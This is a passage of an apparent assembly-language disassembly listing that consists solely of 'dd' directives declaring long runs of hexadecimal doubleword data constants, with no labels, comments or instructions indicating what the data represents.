		dd 8F79217Eh, 0A6F4BC5Dh, 0B7F50088h, 28476E77h, 0E00029AEh
		dd 3569A434h, 6979005h,	93D3F404h, 73323158h, 0E068089Eh
		dd 0C1442Eh, 1DD76BB6h,	1886F878h, 94D3F10Ch, 31593164h
		dd 0A191EC29h, 93E19D10h, 0D8DE0E83h, 9F2F95Bh,	60A065E4h
		dd 0CC9A210Ch, 0D9005D06h, 3E836B3Ah, 3FA3B4EBh, 1982C172h
		dd 0A169DD34h, 7A661880h, 2D3E5A55h, 0BBCE3B73h, 753C80E2h
		dd 0CC439F39h, 1808E209h, 0C1ABD20Dh, 99DEA115h, 86F44000h
		dd 9060CE98h, 9391002Ch, 6C17E81Dh, 0F750019Fh,	6418DD4Ch
		dd 801111A0h, 2A8C0BCCh, 97817DE6h, 0F4E09F41h,	0C8A26F52h
		dd 0CA1DFA03h, 79D3691Fh, 0A811A469h, 4A00A84Ch, 946C413h
		dd 0F206179Ah, 0CF8108C7h, 0DA9F5839h, 0F514EF00h, 2DE0E75Dh
		dd 13232503h, 0E8A4BD52h, 6321590Ah, 0EA2319Dh,	9281A100h
		dd 0E4A0778Bh, 3FDA0129h, 0AFB92314h, 7F899C37h, 0C1272880h
		dd 161011h, 5F9BD759h, 0FE9FD970h, 0BEF10B38h, 302030B9h
		dd 1D2915D2h, 83FB139Bh, 360FE9C0h, 0A92CC087h,	570017A6h
		dd 0E30E8E2Fh, 34E9542h, 8C08A0ADh, 280304ECh, 0F0819D15h
		dd 1A83E093h, 3BFE66Ch,	0E34028A6h, 0B9D09EDDh,	58C015E6h
		dd 0B1980E0Fh, 0BDBB028Bh, 0BCAE4E47h, 0AD45E3A0h, 761F8F6Ch
		dd 6BC0A120h, 0D6734CB6h, 663D016Ah, 0ECAE5C34h, 0AA799E03h
		dd 0A4252300h, 8BD384h,	5DAF68C4h, 0E88748B6h, 65F64400h
		dd 0DADFC692h, 0B8D61813h, 8C489E5h, 9FFD0900h,	0E02A021Ch
		dd 0A50701A0h, 0B9DBC5D6h, 4A1440E3h, 912E0474h, 9F00E132h
		dd 3EDF6739h, 0A33B00ACh, 0C1BA8CB2h, 380A27E5h, 0A0166417h
		dd 186CFD86h, 1CBF0A8h,	4B57487Fh, 4125AE5Dh, 8D4CA4h
		dd 3ED580h, 0A4378551h,	21F68352h, 7E926906h, 18B8E019h
		dd 5910E9A8h, 8903E25Ch, 68D4FD0Ah, 0B2A90AD3h,	808C4BECh
		dd 0EE4C047Dh, 0DA007B16h, 0B136C331h, 0D10DD10Ah, 71007091h
		dd 0B52C9FB6h, 0C10B876Fh, 0DC849569h, 0C5DC00FAh, 9C06D5E7h
		dd 0BA317F60h, 6051B8D3h, 0E34EF0ABh, 79C6068Ch, 61146Dh
		dd 5B88B75Eh, 0FCB1E1F4h, 9B27D800h, 0C733382Ch, 28E4E279h
		dd 0F71C1794h, 35920E10h, 7DBAC000h, 0B3566393h, 0F6721CF2h
		dd 817800B1h, 6D509FA1h, 4C5EA01h, 0A8AE31Eh, 0A9D6498Fh
		dd 8094098Ah, 0FCDF4D77h, 0CAE6B62Eh, 6A529102h, 81D55DBEh
		dd 0DCFC2C0h, 88476420h, 3B00748Ah, 0D4B41CBAh,	528206E5h
		dd 0F900B08Dh, 76299BE7h, 0B10520DEh, 0E831D288h, 430DFC48h
		dd 69C1C4F9h, 7511801Ch, 6768C3CEh, 482106DCh, 0F11A6D12h
		dd 9009379h, 0B90F8C3Dh, 0FEF17FB6h, 0D130604Eh, 0DDEC674Fh
		dd 30A0177Ah, 0A702D480h, 3247A2FDh, 0F434438Ch, 96C28441h
		dd 0AD34DCDCh, 0A44D511Eh, 7D40415Ch, 631745FBh, 0CB4CA015h
		dd 146690F1h, 28169BD4h, 273A8001h, 5050EC97h, 82DF638Ch
		dd 20AD4007h, 0BAA04501h, 0D13F8FAh, 35FECC81h,	3082328h
		dd 83497659h, 3D1D8866h, 9D580EEEh, 7E00F594h, 4BDF350Ch
		dd 89163130h, 6169EEh, 0E85A19B6h, 65213D42h, 0FA969A12h
		dd 1B6D8006h, 0CF9F02E1h, 5164F6B7h, 7E787E0h, 3CB7E00h
		dd 0C04B74B2h, 0C0C4B8E3h, 906CD689h, 0C61EB573h, 8939A19Bh
		dd 10B80AD3h, 526617CCh, 0D5008819h, 3E119099h,	4938BD69h
		dd 28C92413h, 83062240h, 80A0A44Bh, 0A894EC04h,	60EEE8h
		dd 0B9381F26h, 0A73C7D21h, 0CDB56A3Dh, 838D3F98h, 3AEDFAD9h
		dd 15292122h, 90456408h, 20C78469h, 55420948h, 21952442h
		dd 5D121D0Bh, 62D03320h, 0CB1903E3h, 0CD1AE25Bh, 0D11CE0F0h
		dd 20044903h, 880548E6h, 47F9D0h, 4AFA8A50h, 22F5898Fh
		dd 80088E6Fh, 34E89298h, 0D9AB3F9Ch, 19B00070h,	0BC335678h
		dd 5401B3BAh, 77627DE1h, 47709095h, 1E8CB002h, 72BFF42h
		dd 677D3EB3h, 5FDD409Dh, 0A600F0B8h, 8CA5166Dh,	0B0B536h
		dd 0E6F311E0h, 7E032744h, 4A46FD00h, 62EC6F6Ch,	24C80090h
		dd 9AC1B33Dh, 1B002512h, 0E60A69ADh, 7DE8BF67h,	3460003Ah
		dd 0F36F90F7h, 0B3007FDCh, 0CD4E4475h, 0A88569C2h, 346CED8h
		dd 0BB20C3C7h, 901FC11Fh, 9C03845Ah, 0F33DF44Eh, 0E6F0E75Bh
		dd 0B502C8h, 6CC21CAFh,	6D54F227h, 4D256800h, 3AF410D0h
		dd 80C84940h, 0FCC1B800h, 43D5E858h, 0ADF04A03h, 0A04F02A6h
		dd 3DFAFE81h, 589F2F0Bh, 3546C0F2h, 5722E3B3h, 0BB6838h
		dd 52F5AF8h, 9B6A96h, 8988DDDh,	0EC5E6F4Ch, 82EE1100h
		dd 50D0DBBBh, 90790072h, 515416A2h, 1E07E95Eh, 3A17D592h
		dd 1B4FACD1h, 0C35CF440h, 357CD6h, 345AA5D9h, 4A03D08Eh
		dd 0C8384D00h, 1B97F53Dh, 5B041E94h, 1F70C0EBh,	0D56042BBh
		dd 8B586500h, 0A8A5F85Ch, 0E6B80002h, 0E7CD54ADh, 0B27C57AEh
		dd 0FBD9C503h, 947A9CB7h, 5D80AC95h, 1774DAh, 875DB96h
		dd 25BDDB0h, 5FE19400h,	0D5FA061Eh, 4B1C00B8h, 4A5463EDh
		dd 2F1B608Ah, 0E009E251h, 0F66C5C6Bh, 2CB50092h, 2A38B00Bh
		dd 5D00DBA2h, 0C02443B1h, 0C8B8B3h, 879464D0h, 89A2746Fh
		dd 4B799A01h, 4E86E660h, 97280FCh, 0EF5955C8h, 0A0C12C00h
		dd 0EC0F5F49h, 0A0FEB86Bh, 6B3B94Fh, 0BB630092h, 6EB0204Ah
		dd 3300ECD5h, 50C6A00Bh, 828D5Bh, 0D9F575F2h, 5E2D254Fh
		dd 0AAF73903h, 1052ECh,	0E7A36711h, 0BB8BB1Bh, 2F632600h
		dd 48DE8CD1h, 68E20054h, 40CD310Fh, 4A005246h, 0EE9C18ACh
		dd 69796Ch, 67D84358h, 3A36AAA0h, 7F1E58B7h, 0E50E00CEh
		dd 5CCABA7Dh, 0DDFCDCB5h, 0F4547B00h, 0F930AB87h, 80AA3AA7h
		dd 0A925D884h, 4C80EBAEh, 1325F98h, 0B749CE85h,	2FB61E5Dh
		dd 294296C0h, 395100D2h, 0D57DED20h, 48006E35h,	0A1DB11D0h
		dd 0C23886h, 2CE15673h,	0BEA06960h, 0F3EB23Ah, 7D2BB3BFh
		dd 367FCCC7h, 606B5E7h,	4C8307E8h, 0D1814090h, 0D58A3F95h
		dd 85746093h, 88499E00h, 354A927Ah, 0FF0D004Dh,	0A0FC51Dh
		dd 2A37C818h, 80C90902h, 6776111h, 86220064h, 0C22FB0E6h
		dd 0C0026A4h, 8C7E9495h, 5A21D2Ah, 1A40ED97h, 26EC005Bh
		dd 4E797D3Dh, 0D59A8B00h, 4B8E3B37h, 9CFC0036h,	7E3A09CFh
		dd 280095D3h, 2CE2BF01h, 0A7C41Eh, 0A0F83D1Ch, 7A5A5217h
		dd 0B3A47700h, 0E4BF6A1Dh, 6BDC0023h, 66F0134h,	0C600B7BCh
		dd 0C2B6BD53h, 4CD7613Dh, 2F00BF9Fh, 59737B03h,	0F60349DBh
		dd 7725C437h, 0D539A8D3h, 0B7690061h, 0E80CBC0h, 0DDEE8C4Fh
		dd 9997BC07h, 2A03FB1h,	1D01116Dh, 0C0E495E2h, 1C8F2571h
		dd 1E601A60h, 0CFB63E19h, 8586075Bh, 5081575Eh,	0B7A5EAB3h
		dd 0FE4DF400h, 217BDFDBh, 1F8B079Fh, 2FCF7133h,	0EE20C62Fh
		dd 0E6B7A98Eh, 0EDD6F103h, 0D0517839h, 5C97B8h,	0AC7C95E3h
		dd 36B971FCh, 0ABF8BA00h, 0E79D9F6Dh, 844B00BDh, 22817790h
		dd 4AFADF70h, 0A292D701h, 7B093E2Fh, 0B9165E0h,	44BC6819h
		dd 1E502F87h, 0DB9704A0h, 6E07FF9Eh, 4AD5D27Eh,	8D3BA970h
		dd 0E03100BDh, 74769646h, 48079FFBh, 1D8A247Ah,	0FAD099C0h
		dd 0B05D00DAh, 6AAD3340h, 6303F928h, 1BC758F5h,	0A6808FD5h
		dd 12FA2B25h, 651842h, 0EFC6F208h, 57AE441h, 6CD9FB00h
		dd 0BB497C44h, 0E3DA006Eh, 0FFDE2B9Bh, 0C890A9A1h, 4D74D701h
		dd 5857B8AAh, 7B0420h, 32FC113Fh, 0EC19E6A1h, 0D5F72900h
		dd 982578E5h, 0A4CF1E14h
		dd 0C4503E03h, 0D41800CCh, 2A401F0Ch, 6EEAA32Ch, 9C7DEA00h
		dd 0E5BCAE22h, 7CBE004Dh, 17C5CDFBh, 2500A870h,	24F7AE1h
		dd 861D64h, 1A75C860h, 95559E7Fh, 70A6707h, 5BD0307Bh
		dd 0AEA0D7h, 0B249DA4Fh, 0F30DE91Ch, 37FE9D00h,	6713538Dh
		dd 40300050h, 41E533D5h, 0E61E3220h, 0E8C02242h, 142C2E48h
		dd 2D1B000Dh, 7CD5EE13h, 0F1389861h, 0F097867Eh, 0F809768Bh
		dd 9D972A0h, 9AD2C944h,	5DC53301h, 14E2D080h, 0F749FE1Eh
		dd 0D4364A04h, 24D15380h, 0C0830048h, 0ECBDE8C2h, 8C006C19h
		dd 2950EA65h, 262C3Eh, 72311762h, 0E4FC835Ah, 6C93D01Fh
		dd 40D4714Fh, 0BC8430C0h, 405C04D1h, 805779FBh,	0E6A2DE20h
		dd 1100AE79h, 0EECC47B8h, 7BB964D4h, 351F033h, 0F324A038h
		dd 32B87206h, 2D02A4A2h, 1F5AF02Eh, 9C49C0A5h, 65F240h
		dd 5776506Dh, 6EF43221h, 9645B200h, 0CDF926DAh,	0BB970792h
		dd 0D0BF5E95h, 0EE86D568h, 293A527Bh, 78E680CFh, 143A1C3Fh
		dd 0F4DD00E0h, 0D235932Eh, 0E83B77EBh, 29DA871Eh, 17A09F6Fh
		dd 0EA56B7h, 7D4CE110h,	0E72AA17Ch, 31FD50C0h, 16F668Bh
		dd 41F0D1DAh, 0CDFAC18Ah, 4C209EE8h, 0E2C83BC0h, 573AD93h
		dd 471C3439h, 0CF40360h, 0ED0F721h, 3A0EF63Ch, 0C7F43E0Fh
		dd 38001A15h, 0E4013719h, 902100FAh, 92E5A42Dh,	0E41BA37Ah
		dd 0E009528Fh, 0AB4EE6Ch, 98C69528h, 72E904F4h,	983C3394h
		dd 5B9E5E0h, 0D5CD4305h, 0C1BC80A1h, 0B6298D4Dh, 50090E1h
		dd 0D7DBA7AFh, 7FEF3EDAh, 66CF0FF3h, 0FC0034B4h, 8C8D71CCh
		dd 7AC2BC00h, 26A05C5Fh, 0DB430018h, 4CA6C650h,	8500F19Dh
		dd 0C03B18Ch, 7C80BD48h, 277F0026h, 71D06765h, 0E10222C8h
		dd 0AAA4763Bh, 48888063h, 756658Fh, 4FA6A3DAh, 0CB33A0F2h
		dd 0D100C47Fh, 35824D83h, 0C12DB4h, 6B7C1917h, 0AE6F465Bh
		dd 580648h, 8A9F9110h, 242C7ED9h, 802C0F97h, 0F80EE409h
		dd 0E258158Dh, 0FE820796h, 4F84ADB0h, 68F0F3C7h, 19D96A3h
		dd 20AE2E4Ch, 806D6CEBh, 0B5F64D98h, 1D7597Fh, 0A209EC66h
		dd 2B51B2E4h, 0FA3FF0h,	0B4C92532h, 0A495C323h,	80E03838h
		dd 96A19978h, 0ADB140h,	107DDC24h, 0A982F15Eh, 0CCCF5C1Dh
		dd 91323C9h, 0C78FF735h, 3E120E5h, 0BD2B04A7h, 25425D88h
		dd 9BE43100h, 0A9987C5Ch, 0C0B10FCEh, 39E00567h, 0FCA8032Dh
		dd 96108700h, 699FAB77h, 0D87B00A7h, 74513D89h,	0E7007D6Ah
		dd 42F03576h, 7093DF64h, 0F1160029h, 681D899Dh,	0E300586Eh
		dd 0D5A0B1Bh, 908D9534h, 62060377h, 2515E9F0h, 0A94A3C98h
		dd 240050E6h, 71ADFDBDh, 1FC5F672h, 0C0E94913h,	2FCF8D9Ah
		dd 0D007944Ch, 0A68F4F30h, 48E7B640h, 0E7A189Dh, 9412E861h
		dd 9816800h, 0C86718Dh,	8473008Fh, 486F8B06h, 6E008222h
		dd 8993FD4Bh, 35795BDh,	5472C5E0h, 97CBE8Bh, 0F85F6D3Bh
		dd 45788800h, 807C6648h, 11E30002h, 81E89FEBh, 0F507601Fh
		dd 0D262DCD1h, 343AE130h, 0BB460072h, 7DC6F4C2h, 0C43B64CBh
		dd 77BE803Dh, 94F33B4Ch, 55C2C87h, 546D0060h, 0A79A0651h
		dd 0A40ED490h, 0C04F90F6h, 33E593F4h, 0E39E00D2h, 986AB78Ah
		dd 0F800851Ah, 502148CEh, 2B8E003h, 0D8F1234Ah,	40802EEDh
		dd 7C6B9F37h, 7FBE4800h, 42663F71h, 49F400D2h, 0E9469C35h
		dd 31F6A9DCh, 723C8D08h, 5D65078Ah, 0F0A5E0FCh,	590342CDh
		dd 501A7D71h, 0C220168Bh, 0BC00AA30h, 0AE3B5F04h, 0D6BCA06Ch
		dd 78D7993h, 41270F96h,	6077031Dh, 5088C4FBh, 0DF00D416h
		dd 24E46E51h, 15D32Dh, 1E23355Fh, 0D5D15BDBh, 0F8EA1300h
		dd 188E0F73h, 9F5D1CB8h, 5720CAD7h, 3DA1876Ch, 6286A092h
		dd 0C100E40Ch, 69FA6E16h, 98D7AD4Dh, 0AE4A0044h, 0DF0C8556h
		dd 0D90093DEh, 8BEF030Bh, 333B61Ch, 0E6CFE34Ch,	9FB0C7A2h
		dd 65013D6Ch, 0FEAA2F41h, 53D5CA7Bh, 2D936630h,	627019CFh
		dd 752C6E00h, 0A1548A4Fh, 72E1003Ah, 6285D137h,	400DFF6h
		dd 0FC326A4Dh, 7075BDC8h, 10200011h, 96B32348h,	4500D168h
		dd 44D06551h, 0E47242h,	56063B49h, 0E0C77CAAh, 8A5DD612h
		dd 0B4884040h, 3E915E70h, 93006AB6h, 8F2966BAh,	5A0C6BB3h
		dd 78F8BD9Ch, 0DAF50735h, 1DD237FFh, 3D2CF009h,	0D971B00h
		dd 8DC73494h, 0D57D61h,	1656FF4Bh, 0D82E024Ah, 153D5E00h
		dd 0B465112Dh, 0B2A10AA2h, 0A87DE98h, 0F901ECCh, 3521C31Fh
		dd 0C4A2F093h, 0A0E21985h, 10482490h, 6DC20072h, 78A4320h
		dd 60A5F21Fh, 0CFE411AFh, 0B4785047h, 0E101A00h, 369E89FCh
		dd 0F0845116h, 50248431h, 3E9F0060h, 0F1BEA81Dh, 970A8D94h
		dd 0E48121CEh, 20B7F800h, 0EA3612h, 0C7502FB1h,	0CC54F2CBh
		dd 7C00D676h, 76E4E34Bh, 3C6D8Ch, 0C9E53D1Dh, 162891BAh
		dd 0CBD0AD00h, 0A9012345h, 3938E896h, 7C9B93h, 0F5F2B60h
		dd 6BB17094h, 0E4305Ch,	0F319FCDAh, 64BC91h, 3DFE7B43h
		dd 510EDC4h, 0B092A990h, 0B4584E0Ah, 0AD00F0C5h, 0AF43488Ah
		dd 4F620088h, 465E8C9Bh, 39008F9Ah, 0B179C558h,	0D82CC93h
		dd 7AC7A0AEh, 9BA9F009h, 0E4022A04h, 3CC04C34h,	0EE45EC88h
		dd 99A00074h, 8FDA8131h, 40009AA4h, 5B825354h, 10C8810h
		dd 4D3525D9h, 300B8571h, 3D01E778h, 62819B4Ah, 0F1D8477Ch
		dd 8D604CB3h, 0F47B5D00h, 0D1A6782Ah, 73004BFCh, 408EE720h
		dd 0F8647E1Bh, 0D9EA6Ah, 0B3925653h, 19E2A35Ch,	263D3103h
		dd 0E6584E8h, 38F1B019h, 7E8790E1h, 53F03049h, 0E4DC7F00h
		dd 44B581BCh, 1870F5h, 0D0159734h, 68562821h, 72CF8001h
		dd 3EFA6403h, 74C452E5h, 86CA1CB2h, 992580FBh, 4354381Bh
		dd 10F7D91Dh, 5B6F6880h, 6A37C2h, 3F0953F3h, 809C32BEh
		dd 9DF7E43Ah, 600152FBh, 8870B90h, 0F264CCh, 5E0755CDh
		dd 30249E99h, 31F940C0h, 58D588h, 0EDB92CE7h, 0B591F7D4h
		dd 561ECFF6h, 0AAC0A3F5h, 0DA8B3748h, 0E3A4240Eh, 0D9890740h
		dd 0B5FB100Dh, 2900D27Eh, 39DB8082h, 1CF5BDE4h,	0C7F2289Fh
		dd 80DF5EC0h, 189AD195h, 0BFB2702h, 0E081457Dh,	1F8EF36Dh
		dd 89BEA2C9h, 708FBCABh, 0F589DC20h, 6E00D375h,	57F25B08h
		dd 0E2543FFh, 192D9641h, 5F11BAA0h, 0F700740Bh,	858DF253h
		dd 1E83E5E6h, 1ECE7E4Ch, 802A0C70h, 0FC805D11h,	0E07D89D2h
		dd 9F00FDAEh, 0D04B7618h, 6CF3ED5h, 0ADB6A53Ch,	4500283Dh
		dd 0C6A26FF8h, 0CF827085h, 1D06B7B9h, 0D5F02050h, 0FA69A900h
		dd 7544868Ch, 20EC8370h, 69924Bh, 4A41CFCCh, 3FD28E18h
		dd 3A2A39h, 0C79E5340h,	0AAE90Dh, 4F835E30h, 0EA214543h
		dd 66055800h, 9C9BA7C9h, 71BE061Ch, 896C346Dh, 1AE78B00h
		dd 4780B194h, 0C8030233h, 52F316BEh, 6EA2D980h,	88C75D18h
		dd 0E2F0A4ABh, 7D351DBh, 0BC6FCC3Bh, 9CA29014h,	48F8E105h
		dd 0D0EC4BF8h, 84C11700h, 63149312h, 427A1E39h,	0AB003D8Bh
		dd 0EF7015F0h, 6A00180Ch, 0F04B854h, 371DDC53h,	2138A706h
		dd 0ED93EACBh, 90A8C0B4h, 6651D500h, 8E6C2AE5h,	9B63014Fh
		dd 56700574h, 0D8C0D284h, 87E3DC67h, 0E4897738h, 0E3D54440h
		dd 0CDD407E5h, 0EEF0FB05h, 0BB3F41C0h, 8C00B340h, 0B61613F4h
		dd 2C2143CDh, 0C71E3Bh,	0DB8F4C72h, 0CBF8A49Dh,	676D0500h
		dd 0EAB24D19h, 0BE43DADh, 3DDCEC00h, 2E93ED83h,	0CEE1A26Fh
		dd 0BA446E7h, 1173F411h, 0B842E5h, 839F8A60h, 5C5BF88h
		dd 3EE3196Dh, 757F876Ah
		dd 0CF8047B8h, 0F1D9C0FAh, 0DB8B9C6h, 42061102h, 0C3247F46h
		dd 6D7680A0h, 8080DCF7h, 0A33629C1h, 80001B81h,	16925CABh
		dd 7AAE4FDh, 1E912201h,	6ED3E732h, 60474267h, 3BD8824h
		dd 0F60B1774h, 3FCE4AAh, 0A0C724h, 7B634202h, 1A95EF9Bh
		dd 0D674A5F8h, 0BA7C28C0h, 0ECA6BDh, 7E7BD8BBh,	0CE5F08BEh
		dd 3AA97700h, 6505F4B3h, 8C0A00F0h, 351E4FFCh, 91017ED5h
		dd 2C744899h, 3FF7ED93h, 5F9F3DA0h, 306746D3h, 0FA003845h
		dd 712D7C51h, 0B635B6Ch, 8C8E24A5h, 0A89F5680h,	6B001D46h
		dd 0F62FFE6h, 0D013149h, 0C57F0C56h, 9B8FCAC8h,	87C060FBh
		dd 0A5493BAh, 16007B88h, 0FF5650C0h, 90969254h,	3C263BFFh
		dd 3A9A7A00h, 0CDD60FA6h, 0A9E4931Ch, 590790A4h, 405FEE48h
		dd 0C2FD83CEh, 0D79E0722h, 0B64EDCD6h, 48F10B1h, 0EEF62B43h
		dd 41060010h, 8A43899h,	0B3008101h, 98131A05h, 12BABBAh
		dd 59B97E61h, 9196A006h, 73F529h, 8E2F3079h, 0AA0B24B0h
		dd 92DC2200h, 0ECF234C1h, 0E37300CBh, 8BC674C9h, 0B1043E06h
		dd 86692A4h, 16E94C1h, 94C7F8h,	23337BE0h, 1B9399E1h, 0C5DD001h
		dd 75F034C3h, 7DB809Eh,	0EADEEBE2h, 80221CA0h, 92A9FA23h
		dd 0D6009BA2h, 419561F4h, 0F2AA9E87h, 33090082h, 0BFAB683h
		dd 203D5534h, 0C2A0012Bh, 252C7087h, 0AF4A40EAh, 8D08006Ch
		dd 1C3637B6h, 8E0038D5h, 2C142ABCh, 0F56E1Bh, 937597AEh
		dd 4A1DDA34h, 0F6958907h, 94378346h, 67E99DD0h,	0F9A114E3h
		dd 7407B4B0h, 9013BD65h, 0ECED0782h, 0AF70E26Fh, 0DE0A2078h
		dd 0D6B93Ah, 701D4D4Ah,	73A40FDDh, 0DC6B4000h, 102CC3E3h
		dd 20310076h, 4EEED7C7h, 540084DEh, 2972BC24h, 46419A7h
		dd 8B859331h, 0A336C034h, 0AC00A4A5h, 0B30ABC57h, 1F914439h
		dd 0C009FFEEh, 7D12EC6Fh, 7A009F42h, 0DC593BC9h, 18DEF83h
		dd 0B47B3523h, 203DD7A3h, 49707014h, 437EDF0Bh,	0DD00FF34h
		dd 4C2032Ch, 0BB769CE4h, 63B9F300h, 2E369BD6h, 5B40041h
		dd 0EFA75857h, 4400115Dh, 4B7084F7h, 0B711323h,	0E01B9C7Eh
		dd 0A016FC80h, 0E700F52Ah, 0B3350557h, 1CAAF3C6h, 408B794Ah
		dd 6E073A0Bh, 0DA2C1550h, 6A1DB076h, 4900AD6Ch,	7E18EA6Dh
		dd 42B70035h, 0FA3861Bh, 0C0A81A04h, 631DE5F3h,	5740C23Dh
		dd 2F025E71h, 28A63D69h, 3188FF80h, 5F90383Bh, 3265E300h
		dd 0D91CD7EDh, 2DAE1D16h, 25A780E2h, 499343F0h,	5C3C4500h
		dd 6D4C8DBBh, 0E89045Eh, 80CF1A4Fh, 7510994h, 3A832A00h
		dd 5D81FAAFh, 38D0092h,	57FE68BAh, 231D5F97h, 0CF81447Dh
		dd 7C86DB63h, 2E8F5080h, 2D871C22h, 70FC83E2h, 0D23D0F00h
		dd 0E6121171h, 25740ED6h, 3E1C5D1h, 24C1C82Ch, 9500ADE8h
		dd 4F2F1BCh, 0A680AEh, 7C2B398Eh, 0B538D2D0h, 8DF08B1Fh
		dd 1C1F6587h, 2D668F80h, 6AE401B0h, 0C42549B4h,	0F60C34E7h
		dd 91B20801h, 0C1D1E271h, 0E6A95820h, 747B0080h, 0D648EAB4h
		dd 4B1FBC0Dh, 2F41D398h, 0F89FCABAh, 6E0F70h, 0B4B801C3h
		dd 5D5653D1h, 7500A07Ah, 6611A247h, 0B0109Bh, 1DEC3F4Bh
		dd 3B2F791Bh, 8857F131h, 0E8109E3Ah, 5A00ECA8h,	4CEBBCF7h
		dd 4D9D0CFh, 6771E9AFh,	6ABC8059h, 96002D3Ah, 0DAD9558h
		dd 1CD3A908h, 0C3B9ABBh, 0FE1007B7h, 596B3613h,	8B7B0400h
		dd 1A3C623h, 0DF0BDA18h, 0F8B7A2BEh, 670F7014h,	80B43DE7h
		dd 0FEFA0423h, 60A1E39h, 0C1AB8360h, 0F280637Bh, 5F000716h
		dd 0CFED622Fh, 0A10F12h, 927D4BBFh, 8D282D7Fh, 6D26B002h
		dd 0E0726789h, 49A264C6h, 0B7004CB2h, 86090F38h, 1D001C46h
		dd 0D5145762h, 3EF25D49h, 0C480D3CBh, 8EB37BE4h, 4100F5D1h
		dd 695CC89Ch, 98A5F99Bh, 5B91005Eh, 0E9357C96h,	2490428Fh
		dd 2256A81Eh, 7AF0D7C0h, 3B9324EEh, 349C41DCh, 3238063h
		dd 5B4E998Dh, 6BCA400Eh, 9D35E0F8h, 907FB3BBh, 0D72C00C8h
		dd 0B496337Ch, 9AECBF3Bh, 477F8EF4h, 2E8DB800h,	7C0F6D8h
		dd 79C77590h, 0C5B42468h, 0C4C21D34h, 80FDE877h, 79AA5B0Ch
		dd 98124Ch, 0FF73BE28h,	994E95h, 0AE8343ECh, 96ADF44Fh
		dd 6D501D07h, 8E80AFDCh, 0C0361B2Dh, 85CE78EEh,	0BA00B531h
		dd 0E86DF82Ah, 79CDA2DCh, 0F78F0022h, 505F80E2h, 9700914Eh
		dd 0E856F2D9h, 37D072h,	661826Bh, 109562B8h, 0E3C3D4FBh
		dd 0D309E400h, 0E53E0887h, 50711260h, 13C0023h,	0DD33FDA4h
		dd 77786E00h, 0C097F37h, 194A0076h, 0A2A8ABA7h,	500A660h
		dd 9ED48BB0h, 1B8F265h,	0F7CC3423h, 0D8869057h,	3602D0E9h
		dd 0B04F1E38h, 934F40F4h, 7C126D4h, 10BA3F64h, 6E9B0E81h
		dd 40B83B46h, 0FF664E0h, 0C9AD3Ch, 7ADCC33Eh, 31E8Fh, 7385CAF8h
		dd 137B410Ah, 81072270h, 0B4D42139h, 801EC580h,	0D29100E2h
		dd 0F1A69A24h, 41008CD5h, 0B7AA62C0h, 718B5D79h, 70C20047h
		dd 6B543ACh, 31006EA2h,	0B79CE108h, 1C65A8ECh, 8020FE13h
		dd 0F9FB6B7Eh, 0D300D192h, 0A517C411h, 0E8C1E20Bh, 409AA6h
		dd 76C86853h, 73252E79h, 61E7A91Eh, 73FBFh, 453784BFh
		dd 279285h, 29DE3039h, 4FC8C20Fh, 0D2C40503h, 0F077EA64h
		dd 1F1CCD1Eh, 41C35B0Ah, 0FAFDA367h, 5CE8C69Fh,	243C9A1Eh
		dd 0FECD8021h, 0BD8F140Dh, 1042FBDDh, 0CE704A7h, 77AA0823h
		dd 0F0A0B8DDh, 0D0CE1CCFh, 168A97FCh, 0DD00AA64h, 672FFF72h
		dd 46AF01A2h, 6E1C4277h, 0BD443427h, 483E8A75h,	5816253Fh
		dd 0BCE7164h, 0AEDF3BF8h, 76B2A8A0h, 2E617A42h,	9D650848h
		dd 6F9070h, 54D8C22Ch, 5DAF1832h, 3F6C017h, 6C9EA440h
		dd 0F37E42h, 0F8AAB2A6h, 5D649D02h, 69940F03h, 80E42DD5h
		dd 0EA5FACh, 0D77EA610h, 6E93F466h, 0B7360501h,	23D409D6h
		dd 3CA73AC8h, 65007969h, 0C44789FFh, 52003E68h,	48C3E64Bh
		dd 0EE224D6Fh, 0EA1200F8h, 821E0765h, 0DD003BABh, 0F79A45B4h
		dd 77802A1h, 8A566E63h,	7D808E0Eh, 0A26AAAF6h, 16E8F900h
		dd 7B15EFE3h, 48AEFC08h, 8444772Eh, 55B4F037h, 5472C879h
		dd 9F40B3B8h, 69EF00A1h, 76FD5805h, 0CD004C39h,	0A364717Eh
		dd 1C1ACCA7h, 8FC3B2BEh, 0E8E7CB6Fh, 9BE710F6h,	0F400FE51h
		dd 0C25A6B8h, 1D1A8D52h, 4087BF10h, 3917343Dh, 940BA07Ah
		dd 27B91E4Ch, 92B0AAA8h, 4922EBh, 0E623D83Ch, 0DF4C60D5h
		dd 73EF911Dh, 1340CFDCh, 4A96A636h, 67742E75h, 2F8D0040h
		dd 44DE6927h, 0DBCC8100h, 0B6B7947Bh, 4C6D0054h, 1D4B83ACh
		dd 224C2FBDh, 0CC5E1CCCh, 83DA258Eh, 0A85A9E4Ch, 65EF3Bh
		dd 2C9B8B4Dh, 3D2F67F1h, 2654F600h, 0FA78FCF7h,	51C73F83h
		dd 6A050600h, 3CE4DFD6h, 8750E1Fh, 9259600h, 93B654h, 0FB145F3h
		dd 0DF24E9BDh, 2CFF2200h, 5FEDA746h, 43F239h, 0D872961Eh
		dd 0C928BD17h, 0EF6B3300h, 268C09A9h, 58A30378h, 0D5F863D2h
		dd 0C37FD688h, 0D9DD8917h, 3A2D8000h, 67610B3h,	9F4ABFCCh
		dd 0EA1D18D8h, 0B8C0E574h, 46A3D3A8h, 88454C6Fh, 8DE8E901h
		dd 0E88C0ED7h, 0A00C273h, 9B0571C4h, 0CC84E17h,	1F934782h
		dd 0B8044C48h, 8D366434h, 11E782BEh, 0FC951448h, 0E6152400h
		dd 4002887Ch, 60EFEAB2h, 0E0C938AAh, 0ED00E752h, 0D8FA99D4h
		dd 5C909C31h, 1E3D40F9h, 4BABA993h, 14802180h, 45DA20FDh
		dd 57031A7Eh, 2BA115FBh, 62CD0CAh, 5091F6h, 4C55327Ch
		dd 0A2015B64h, 855C3B39h, 0CC0301Fh, 4E730015h
		dd 0C29CF4FFh, 1403FE45h, 0F39B4660h, 8966A842h, 9809002Dh
		dd 41583388h, 2E00E163h, 0FC16BA8Eh, 75AB80DCh,	4AE000BCh
		dd 96AC4BDFh, 98001CBDh, 119CCA6h, 7938EF2h, 0EDA486C5h
		dd 9FF5D0D5h, 0C61D65C4h, 80FFF6EEh, 915251BDh,	5C87F8A0h
		dd 0C505CBCAh, 442FD07h, 5C3257A4h, 871600A0h, 0BD89077Bh
		dd 0E30033DEh, 8A1DA52h, 76A023h, 3F8DC73h, 0ECAB39Ch
		dd 8EA73500h, 4DDA0D91h, 0F5F73EE5h, 13C87E00h,	848BDABh
